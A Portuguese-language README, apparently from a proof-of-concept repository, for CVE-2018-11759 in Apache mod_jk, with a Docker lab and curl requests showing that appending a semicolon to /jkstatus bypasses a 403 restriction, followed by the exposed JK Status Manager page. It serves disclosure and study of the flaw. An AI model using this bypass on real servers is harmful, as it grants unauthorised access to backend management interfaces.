
Exploit de prova de conceito para CVE-2018-11759 demonstrando bypass de acesso do Apache mod_jk via requisições especialmente elaboradas para contornar restrições de proxy reverso.
O código específico do Apache Web Server (httpd) que normalizava o caminho solicitado antes de correspondê-lo ao mapa URI-worker no Conector Apache Tomcat JK (mod_jk) 1.2.0 a 1.2.44 não tratava alguns casos extremos corretamente. Se apenas um subconjunto dos URLs suportados pelo Tomcat fosse exposto via httpd, então era possível que uma solicitação especialmente construída expusesse funcionalidades da aplicação através do proxy reverso que não eram destinadas a clientes que acessam a aplicação via proxy reverso. Também era possível em algumas configurações que uma solicitação especialmente construída contornasse os controles de acesso configurados no httpd. Embora haja alguma sobreposição entre este problema e o CVE-2018-1323, eles não são idênticos.
A prova de conceito abaixo mostra como explorar o CVE-2018-11759, bem como o seu impacto no sistema de informação visado.
docker-compose up -d
Seja paciente, o processo pode ser bastante longo na primeira vez.
Uma vez em execução, o proxy vulnerável estará acessível através do seguinte endereço
Endpoints montados com uma diretiva JkMount do mod_jk, como a interface do gerenciador de status do JK (que permite gerenciar workers AJP), podem ser configurados para serem restritos ao acesso externo.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Essa restrição pode ser contornada adicionando um ponto e vírgula ao endpoint protegido.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?opt=32">Read Only</a>]
</td>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Mais informações no nosso artigo do blog
Este problema foi descoberto pela primeira vez por Alphan YAVAS da Biznet Bilisim A.S. e relatado de forma responsável à Equipe de Segurança do Apache Tomcat. Vetores de ataque adicionais foram identificados por Raphaël Arrouas (Xel) e Jean Lejeune (Nitrax) da immunIT.